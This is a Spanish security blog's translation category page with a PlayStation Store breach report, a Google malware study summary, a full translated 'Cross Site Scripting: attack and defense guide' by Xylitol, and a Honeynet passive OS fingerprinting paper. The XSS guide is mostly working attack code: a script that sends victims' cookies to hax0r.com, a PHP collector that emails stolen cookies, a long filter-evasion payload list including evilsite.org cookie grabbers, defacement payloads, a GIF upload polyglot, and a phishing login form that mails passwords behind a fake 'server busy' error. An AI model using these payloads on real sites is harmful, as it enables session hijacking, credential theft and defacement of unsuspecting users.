Archive for the ‘Traducción’ Category

El sitio web de la tienda de PlayStation posiblemente comprometido.

Leo en 1up la noticia, e inmediatamente después en las consecuencias: miles de datos sensibles de los usuarios al descubierto. Bueno, como siempre os traduzco la noticia y me dejo de historias:

Una potencial brecha de seguridad en el website de la tienda de PlayStation ha podido dejar al descubierto información sensible de un “pequeño porcentaje” de usuarios, anunció Sony Computer Entertainment en sus dos sitios: PlayStation Reino Unido y PlayStation US (via ShackNews).

“Hemos encontrado que existe la posibilidad de que exista un acceso no autorizado a información personal” de los clientes de la tienda PlayStation, según la noticia del día de Sony. Mientras Sony no maneja números de tarjetas de crédito, Sony afirma que es muy poco probable que información bancaria sensible haya sido robada. Sin embargo, admite que es posible que la contraseña de un porcentaje pequeño de usuarios ha podido ser cambiada, haciendo posible al atacante ver la información del usuario y/o hacer uso de la maleta para la tienda de Sony.

También afirma en la noticia que “han sido tomadas acciones inmediatas para solventar el error y la seguridad del sistema ha sido restablecida”. Contactarán a cualquier usuario que haya sido afectado, para que éste se loguee en la tienda y pueda comprobar que su contraseña no ha sido cambiada (si puedes entrar, estás “limpio”).

La noticia fue originalmente posteada en el sitio del Reino Unido de Sony únicamente, pero un mensaje adicional desde USA confirmó que era una brecha global. Sólo para confirmar si estás a salvo, cualquier usuario de la tienda de Sony deberá logearse para asegurarse, hasta que publiquen los detalles del incidente.

La noticia completa y en inglés haciendo click aquí (Vía 1up.com)

Buscar en internet, cada vez más peligroso.

Leo en este artículo de WebHostBlog.com lo siguiente, y traduzco:

Las búsquedas, publicidad online y navegar por internet se hace más peligroso.

Un reporte publicado por Google muestra el aumento de las búsquedas que apuntan a software malicioso. Este reporte también informa de que la publicidad se está volviendo más agresiva usando malware para su distribución.

Niels Provos, ingeniero de seguridad en Google, dijo que desde que Google empezó a monitorear estas webs, más de 3 millones de direcciones han intentado instalar malware. Google comenzó a monitorear estas webs desde hace sólo un año y medio. Provos también comentó que el 3% de los resultados de búsqueda hacían su publicidad a través de malware. “Resumiendo, el 12% de los resultados de las búsquedas fueron asociados contenido malicioso debido a publicidad a través de malware”. Provos alega que las redes publicitarias son las culpables. Debido a la sindicación de la publicidad un único anuncio llega a muchas partes. Cada pieza de esta cadena pude volverse vulnerable con rapidez en la red. En muchas ocasiones, éstas no se parchean adecuadamente o los servidores en donde se hosepedan tienen software anticuado. Por ejemplo, el 39.9% de los servidores distribuidores de malware que usan scripts en PHP usaban versiones antiguas con conocidos fallos de seguridad.

De acuerdo con el reporte de Provos, no sólo es culpable la publicidad online. Un 1% de los resultados de las búsquedas contenían al menos un resultado de las búsquedas contenía software malicioso “de casa”, y la tendencia parece estar creciendo.

Fuente original del artículo.

Traducido por: Jacob F.P.

A modo de precaución, existen unos plugins para Firefox bastante interesantes en lo que a navegar algo más seguro se refiere. Podéis echarle un vistazo a los plugins ya que no vendría mal tener securizado vuestro navegador. Por supuesto, no uséis Internet Explorer si queréis navegar de forma segura y dormir tranquilos.

Cross Site Scripting (XSS): Guía de defensa y ataque.

Cross Site Scripting: Guía de defensa y ataque.

 

Autor: Xylitol.

Descripción: guía simple de los métodos para XSS.

Página web: http://xylitol.free.fr

Contacto: xylitol[en]fbi[punto]com

Fecha: 10/02/08

 

Indice:

 

  1. Qué es XSS.
  2. Programar una vulnerabilidad XSS.
  3. Programar un registrador de cookies.
  4. Securizando un XSS.
  5. Métodos para hacer un deface.
  6. Paso de filtrado.
  7. Ataque rápido.
  8. Subir el XSS.
  9. Phising con XSS.

Capítulo 1. Qué es XSS (de wikipedia, la enciclopedia gratis).

Cross Site Scripting es un fallo de seguridad que puede ser explotado desde el explorador web que uses. Este ataque permite contenido (scripts) en zonas sin privilegio, con permisos de zonas de privilegios – con subida de privilegios – dentro del navegador que ejecuta el script. La vulnerabilidad puede ser:

 

 

  1. Un bug que permite contenido (scripts) bajo ciertas condiciones, que pueden ser ejecutadas con permisos de privilegio mayores de una zona más “peligrosa”.
  2. Un error de configuración: sitios que no están a salvo listados en sitios que sí lo están.
  3. Una vulnerabilidad de XSS en una zona privilegiada.

Un ataque normalmente consta de dos pasos. El primer paso consiste en hacer funcionar el XSS para que ejecute código de la zona privilegiada. Para completar el ataque, se inyectan componentes maliciosos de ActiveX.

Este tipo de vulnerabilidad es explotada para instalar de forma “silenciosa” malware (spyware, software de control remoto, gusanos, etc) en las máquinas cliente que visitan la página web.

 

Capítulo 2. Programar una vulnerabilidad XSS.

Abre el bloc de notas y pega el siguiente código en él:

 

 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<style type="text/css">
<!--
body,td,th {
	color: #FFFFFF;
}
body {
	background-color: #000000;
}
-->
</style><title>Simple XSS vulnerability by Xylitol</title>
<body>
<form action="XSS.php" method="post">
<p align="center"><strong>Simple XSS vulnerability by Xylitol </strong></p>
<div align="center">
  <table width="270" border="0">
    <tr>
      <td width="106"><strong>Search:</strong></td>
        <td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td>
      </tr>
  </table>
  <table width="268" border="0">
    <tr>
      <td width="262"><div align="center">
        <input name="submit" type="submit" value="     Search it !     " />
      </div></td>
      </tr>
  </table>
  </div>
</form>
</body>
</html>

Salva esta página como index.html. Luego haz la misma operación y copias esto:


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Search result:</title>
<style type="text/css">
<!--
body,td,th {
	color: #FFFFFF;
}
body {
	background-color: #000000;
}
-->
</style></head>
<body>
<span class="alerte">Search result  :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>
</html>

Salva esta página con el nombre XSS.php. Cierra el bloc de notas.

 

Abre index.html en el Firefox. Mete un valor y dale a buscar.

Ahora, abre la página de nuevo e introduce

 <script>alert('XSS')</script>

Envía la búsqueda. ¡Bingo, una ventana de diálogo!

 

 

/  http://127.0.0.1 dit:              X
|________________________________________|
|                                        |
|                                        |
|    ^                                   |
|   /                                   |
|  / |       XSS                        |
| /  .                                  |
| -------                                |
|                       ______           |
|                      |  OK  |          |
|                       ------           |
|________________________________________|
            XSS Vulnerability is here...

Capítulo 3. Recolector de cookie.

Mete este script en una página vulnerable (como un libro de visitas)

 

 

<script>
window.open("http://www.Hax0r.com/cookie.php?cookies="+document.cookie);
</script>

(www.Hax0r.com = tu página)

Abre el bloc de notas, copia est código y guárdalo como cookie.php:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
	color: #FFFFFF;
}
body {
	background-color: #000000;
}
-->
</style></head>
<? mail('email@example.com', 'Cookie stealed ! - thx xyli :) ', $cookies); ?>
<body>
<h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>
</body></html>

Suficiente para robarla, ahora a esperar el e-mail para tener la cookie.

 

Capítulo 4. Securizando el XSS.

Para arreglar el XSS usa las entidades HTML. En la línea 16 cámbia:

 

 

<body>
<span class="alerte">Search result  :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>

Por esto:

 

 

<body>
<span class="alerte">Search result  :</span> <strong><?php
if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong>
</body>

Usa htmlspecialchars() en PHP.

 

Capítulo 5. Cómo hacer el deface.

Hacer un deface con XSS es algo realmente simple. Aquí tenemos algunos ejemplos:

 

Deface con imagen:

 


<IMG src="http://hax0r.com/Haxored.png">

 

Deface con vídeo o flash:

 

 

<EMBED src="http://hax0r.com/Haxored.swf"

Más conocido:

 

 

<script>window.open( "http://www.hax0r.com/Haxored.html" )</script>

Y también:

 

 

<meta http-equiv="refresh" content="0; url=http://hax0r.com/Haxored.html" />

Capítulo 6. Evitar los filtros.

Normalmente no es fácil evitar los filtros de htmlspecialchars(). Aquí tenéis un ejemplo de cómo hacerlo:

 

 

<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;
URL=http://;URL=javascript:alert('XSS');\">

<META HTTP-EQUIV=\"refresh\"
CONTENT=\"0;url=javascript:alert('XSS');\">

'">><marquee><h1>XSS</h1></marquee>

'">><script>alert('XSS')</script>

'>><marquee><h1>XSS</h1></marquee>

"><script alert(String.fromCharCode(88,83,83))</script>

<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>

<div
style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo
de(88,83,83));'))">

window.alert("Xyli !");

"/></a></><img src=1.gif onerror=alert(1)>

[color=red' onmouseover="alert('xss')"]mouse over[/color]

<body onLoad="alert('XSS');"

<body onunload="javascript:alert('XSS');">

[url=javascript:alert('XSS');]click me[/url]

<script language="JavaScript">alert('XSS')</script>

<img src="javascript:alert('XSS')">

'); alert('XSS

<font style='color:expression(alert(document.cookie))'>

<IMG DYNSRC=\"javascript:alert('XSS')\">

<IMG LOWSRC=\"javascript:alert('XSS')\">

</textarea><script>alert(/xss/)</script>

</title><script>alert(/xss/)</script>

<script src=http://yoursite.com/your_files.js></script>

"><script>alert(0)</script>

<IMG src=javascript:alert(String.fromCharCode(88,83,83))>

<IMG src=\"jav
ascript:alert('XSS');\">

<IMG src=\"jav
ascript:alert('XSS');\">

<IMG src=\"jav	ascript:alert('XSS');\">

<marquee><script>alert('XSS')</script></marquee>

<? echo('<scr)';
echo('ipt>alert(\"XSS\")</script>'); ?>

<IMG src=\"jav
ascript:alert('XSS');\">

<IMG src=\"jav	ascript:alert('XSS');\">

<marquee><script>alert('XSS')</script></marquee>

<style>@import'javascript:alert(\"XSS\")';</style>

<img src=foo.png onerror=alert(/xssed/) />

<script>alert(String.fromCharCode(88,83,83))</script>

<scr<script>ipt>alert('XSS');</scr</script>ipt>

<script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+
escape(document.cookie)</script>

<script src="http://www.evilsite.org/cookiegrabber.php"></script>

<script>alert('XSS');</script>

<script>alert(1);</script>

Claro que hay otros, Google es tu amigo.

 

Capítulo 7. Ataque flash.

El flash se usa para animaciones complejas, animaciones, juegos. Lo que nos interesa de todo esto es la función getURL(). Esta función permite redirigir al usuario final de una página a otra. La sintaxis es la siguiente:

 

 

getURL(url:String, [window: String,[method:String]])

Y aquí tenéis un ejemplo:

 

getURL("http://victime.com/login.php?logout=true","_self");

url: indica la URL del sitio.

window: especifica entre qué frameworks debe estar la petición (_self, _blank…)

método: método para hacer la petición GET o POST (GET por defecto).

Aquí el manejo del actionscript y del Javascript para postear una alerta:

 

 

getURL("javascript:alert('XSS'");

 

En el 2002 se podía postear la cookie de alguien de la siguiente forma:

 

 

getURL("javascript:alert(document.cookie)")

 

En diciembre del 2005, una nueva alternativa apareció que tenía la posibilidad de colocar on flash en su firma para obtener un XSS permanente. ¿Cómo robar una cookie en flash? Nada para hacerlo como esto:

 

 

GetURL("http://www.victime.com/page.php?var=<script src='http://www.hax0r.com/Haxored.js'></script>","_self");

 

y en haxored.js:

 

 

document.location="http://hax0r.com/cookiestealer.php?cookie="+document.cookie;

 

Para arreglarlo es fácil, no metas ficheros en flash en tu aplicación web.

Capítulo 8. Subir el XSS.

En paint, crea un archivo con el nombre Haxored.gif por ejemplo. Luego, ábrelo en el bloc de nota, borra todas las líneas e inserta lo siguiente:

GIF89a<script>alert("XSS")</script>

Sálvalo y ciérralo. Sube Haxored.gif a cualquier hosting de imágenes gratuito y listo, tu XSS está disponible. No uses firefox, si acaso mozilla o internet explorer para ver tu imagen.

¿Por qué añadir GIF89a? Bien, algunas herramientas de upload revisan si tienen la cabecera estos caracteres en las imágenes GIF. La vulnerabilidad consiste en revisar nada más que el código que hemos mencionado, y no todo el “contenido” real del archivo de la imagen:

GIF89a<script src="http://hax0r.com/cookiegrabber.php">)

Para saber el código de otro formato de imagen, lo único que tenéis que hacer es abrir una imagen con el bloc de notas (o cualquier otro editor. Por ejemplo para los PNG es %PNG.

PNG = ‰PNG
GIF = GIF89a
JPG = ÿØÿà JFIF
BMP = BMFÖ

Para securizar esto, no revises únicamente con getimagesize().

Capítulo 9. Phising con XSS.

¿Comprendiste el objetivo del phising? ¿Y del XSS? En nuestro ejemplo, sería necesario encontrar un host vulnerable e inyectar código en la URL:

<p>Enter your login and password, thank:</p>
<form action="http://hax0r.com/mail.php">
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password>
</td></tr></table><input type=submit value=          OK          >
</form>

Tendrás que adivinar el script que simulará una forma de conexión y enviar el valor en el ejemplo de mail.php enviando este mail:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
	color: #FFFFFF;
}
body {
	background-color: #000000;
}
-->
</style></head>
<?php
$login = $HTTP_GET_VARS["login"];
$password = $HTTP_GET_VARS["password"];
mail("email@example.com", "Cookie stealed ! - thx xyli :) ", $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body></html>

El usuario deberá creer que hay algo de sobrecarga y no ocurre nada sospechoso. ¿Entendiste todo?

(N. del traductor: Dejo esto igual, ya que son los greets del autor del artículo)

        /   /                                    \   \
 ______/   /______________________________________\   \______
|     /   /                                        \   \     |
|    /   /.: Xylitol respects and hello's fly out :.\   \    |
|___/   /____________________________________________\   \___|
   /   /                                              \   \
  /___/                                                \___\

nexus, Langy, Uber0n, FullFreeez, RePliKaN!, bl00d, c0de91, Xonzai
Agent-D, Agent-Z, Vamp, Xspider, Mitnick, Honnox, Blwood, str0ke

and all hardworking sceners in the scene !

 _________________________________
|                                 |
| .: Xylitol thanks this sites :. |
|_________________________________|

http://www.googlebig.com/

http://xssed.com/

http://www.xssing.com/

http://www.milw0rm.com/

http://H4cky0u.org/

If you want to contact me for any stupid reason,
drop me an MSN or WLM only: Xylitol[at]fbi[dot]gov
____
____
\   \
 \   \_____________________________________________________________________________
  \   \                                                                            |
   \   \             Cross Site Scripting - Attack and Defense guide               |
    \   \__________________________________________________________________________|
     \   \
      \___\  By Xylitol 10-02-08

Fuente original del artículo aquí. Traducido por Jacob F.P

La información aquí expuesta es para uso educativo y demostrativo únicamente. El traductor no se hace responsable del uso que se le pueda dar a la misma, desvinculándose complétamente de cualquier responsabilidad.

Conoce a tu enemigo: fingerprinting pasivo.

Bueno, a partir de ahora veréis estos documentos que me parecen interesantes traducidos en la categoría nueva que he creado: Traducción.

Aquí os traigo otro, es algo antiguo pero a ver qué os parece:

Identificar hosts remotos sin que ellos lo sepan.

Algo importante de la seguridad informática es saber cómo piensan los chicos malos. Para entender tus puntos débiles y protegerte de ellos tienes que conocer a tu enemigo. El fingerprinting pasivo es un método para aprender más sobre tu objetivo, sin que él lo sepa. Puedes saber el sistema operativo entre otra cosas del objetivo siguiendo sus huellas. No es 100% efectivo, pero puedes conseguir muy buenos resultados. The subterrain crew ha desarrollado siphon, un sistema pasivo de mapeo de red y de OS fingerprinting. Además, Michael Zalewski (de los mejores en Polonia) y Bill Stearns mantienen p0f. Juntas, estas dos utilidades demostrarán lo que hemos dicho.

  • Finderprinting.

El fingerprinting de un sistema operativo ya ha sido sacado con otros programas como queso o nmap. Estas utilidades operan con el principio de que todos las pilas IP de los sistemas operativos tienen sus propias indosincracias. Más concretamente, cada sistema operativo responde de forma diferente a los paquetes corruptos. Todo lo que tenemos que hacer es una base de datos de cómo responda cada sistema a los paquetes que acabamos de mencionar. Por lo tanto, para saber el sistema operativo de un determinado servidor le enviamos una serie de paquetes. Depende de cómo responda lo comparamos con la base de datos que tenemos. Nmap de Fyodor es un programa que esa este método. Él también ha escrito un documento detallado hablando sobre ello.

  • Las firmas.

Hay cuatro partes en el TCP que deberemos revisar para determinar el fingerprinting de un sistema operativo (también podemos usar otras). Las firmas son:

  1. TTL: ell tiempo de vida de un paquete que sale de la máquina seleccionado por el sistema operativo.
  2. Window size: Qué tamaño selecciona el sistema para el paquete.
  3. DF: Si el sistema usa el bit no fragmentado.
  4. TOS: Si el sistema operativo ha seleccionado el tipo de servicio (TOS) y dónde.

Analizando estos factores de un paquete, debes ser capaz de saber el sistema operativo del servidor. Este sistema, no es 100% seguro y es más efectivo en unos sistemas que en otros. De todas formas, mirando más firmas y combinando la información aumentarán tus posibilidades de tener éxito identificando el sistema remoto. Un ejemplo sería la mejor forma de explicarlo. Más abajo tenéis una traza capturada por un sniffer de un sistema que ha enviado un paquete. Este sistema, está intenando ejecutar el exploit para mountd contra nuestro sistema, así que queremos saber más acerca de él. No queremos lanzar un finger o un nmap a la máquina porque no dejaría fuera. Por el contrario, vamos a estudiar esa información de forma pasiva. La firma ha sido capturada usando snort, nuestra herramienta pasiva en este ejemplo.

04/20-21:41:48.129662 129.142.224.3:659 -> 172.16.1.107:604
TCP TTL:45 TOS:0×0 ID:56257
***F**A* Seq: 0×9DD90553
Ack: 0xE3C65D7 Win: 0×7D78

Basándonos en nuestro criterio de las 4 de antes:

  1. TTL: 45
  2. Window size: 0×7D78 (ó 32120 en decimal)
  3. DF: El bit para no fragmentar el paquete está activo.
  4. TOS: 0×0

Entonces comparamos esta información con la base de datos de firmas. Primero, miramos el TTL usado por el host remoto. Por la traza del sniffer anterior puedes ver que el TTL está en 45. Esto nos dice que hay 19 saltos antes de llegar a nosotros. Así que el TTL original es de 64. Basándonos en esto, parece que este paquete se envió desde un GNU/Linux o FreeBSD (aunque se tienen que añadir más firmas a la base de datos). Hemos confirmado el TTL haciendo un traceroute al host. Si eres consciente de que el host remoto puede detectar el traceroute, puedes asignar el tiempo de vida de tu traceroute (por defecto 30 saltos) para que sean uno o dos menos que el host destino (opción -m). Por ejemplo, en este caso haremos un traceroute al host remoto usando solo 18 saltos (traceroute -m 18). Esto nos dará información del camino que sigue (incluyendo su proveedor) sin tocar al host remoto. Para más información sobre los TTL, revisa Research Paper on Default TTL values“.

El próximo paso es comprar el “window size”. Hemos visto que el “window size” es otro dato muy atractivo, especialmente en cómo se usa y cómo cámbian a lo largo de una comunicación. En la firma anterior, vimos que es 0×7D78 un “window size” por defecto únicamente usado por GNU/Linux. Además, GNU/Linux, FreeBSD y Solaris tienden a mantener el mismo en una comunicación (como este hizo). También, los routers Cisco (incluído mi 2514) y el “window size” de Microsoft Windows NT cámbian constantemente. Hemos descubierto que es más fácil en la fase inicial del 3-way-handshake (a causa del lento inicio de las conexiones TCP). Para más información acerca de “Window Size” revisa: Stevens, “TCP/IP Illustrated, Volume 1″ Chapter 20.

La mayoría de los sistemas tienen activo el bit DF, de valor limitado. Sin embargo, esto hace más fácil identificar los sistemas que no esan este bit activo (como por ejemplo SCO y OpenBSD). Después de muchas pruebas, también determinamos que TOS también es un valor limitado. Esto parece estar más basado en las sesiones que en el sistema operativo. En otras palabras: no hay mucha información en el sistema operativo para determinar el TOS, salvo el usado por el protocolo. Definitivamente, TOS requiere más pruebas.Así que basándonos en la información anterior, más concretamente TTL y Window Size, puedes comparar la información con la tabla de firmas para determinar el sistema operativo (en nuestro caso GNU/Linux 2.2.X).

Ten siempre presente que, como en el fingerprinting activo, el pasivo tiene limitaciones. Primero, las aplicaciones que crean sus propios paquetes (como nmap, hunt, nemesis, etc) no usan las mismas firmas que el sistema operativo. Segundo, es relativamente simple para un host ajustar el TTL, el Window Size, o el TOS. Por ejemplo, para cambiar el valor por defecto del TTL:

Solaris: ndd -set /dev/ip ip_def_ttl ‘numero’
Linux: echo ‘numero’ > /proc/sys/net/ipv4/ip_default_ttl
NT: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters

De todas formas, combinando un conjunto de paquetes y firmas, en este caso TTL y Window Size, puedes aproximarte mucho al host remoto.

  • Otras firmas y usos.

No estamos limitados a las firmas. Hay otras áreas que pueden revisarse tales como: números de secuencia iniciales, números de identificación IP, opciones TCP o IP… Por ejemplo, los routers Cisco tienden a empezar con el número de identifiación IP de 0, a pesar de asignarlos aleatoriamente. Para las opciones TCP, la opción Reconocimiento Selectivo SackOK es muy usada por Windows y GNU/Linux pero no es muy común en FreeBSD o Solaris. Con el tamaño máximo de segmento (MSS) la mayoría de los sistemas operativos usan 1460, Novell 1368 y algunas variantes de FreeBSD 512. También pueden usarse los paquetes ICMP. El miembro de Honey Net Ofir Arkin ha realizado una profunda investigación sobre las firmas ICMP, publicando el documento “El uso del ICMP en los scaneos“. Las firmas ICMP de las que habla en este documentos pueden ser usadas para hacer “passive fingerprinting” basándonos en las firmas de ICMP. Por ejemplo, los “payload” de las máquinas Windows únicamente contienen caracteres del alfabeto, mientras que por el contrario los sistemas Unix como Solaris, GNU/Linux, etc contienen números y símbolos.

El fingerprinting pasivo (passive fingerprinting) puede usarse con muchos propósitos. Puede ser usado por los chicos malos para sacar información. Por ejemplo, para determinar el sistema operativo de una víctima potencial como un servidor web, sólo tienen que mandar un paquete para la petición de la página web, y luego analizar las trazas con un sniffer. De aquí la necesidad de usar un IDS. También puede usarse para identificar proxies como cortafuegos. Como los proxy digamos reconstruyen la conexión para los clientes, es posible sacar “la firma” de las conexiones de los proxies como hemos descrito. Las empresas pueden usar el fingerprinting pasivo para identificar sistemas indeseados en la red. Sistemas que no son autorizados a estar en la red. Quedarías de piedra si vieras cuántas compañías no saben quién está en sus redes. También permite identificar sistemas críticos como (Unisys Mainframe). También podemos usarlo para detectar sistemas que no deberían estar en nuestra red, un sistema operativo no autorizado por decirlo así. Una indicación de que tenemos un blackhat en la red.

El proyecto (HoneyNet) ha desarrollado una base de datos de muestra para demostrar todo este concepto de fingerprinting pasivo. Ha sido hecha y probada en una variedad de si stemas con TELNE, FTP, HTTP y SSH. Ya no se sigue desarrollando y está únicamente con el propósito de demostración. Si quieres contribuir al desarrollo del fingerprinting, recomendamos ayudar a los proyectos anteriormente mencionados.

  • Conclusión.

El fingerprinting pasivo te da la habilidad de saber información del host remoto, sin que él lo sepa. Sin que por sí solos los datos del fingerprinting de un sistema operativo puedan servir de algo, combinándolos puedes acercarte mucho al sistema que estés analizando. Gracias a la gente que me ayudó y me dió ideas:

Craig Smith
Peter Grundl
Subterrain Siphon Project

The Honeynet Project

Traducido por Jacob F.P.

Return top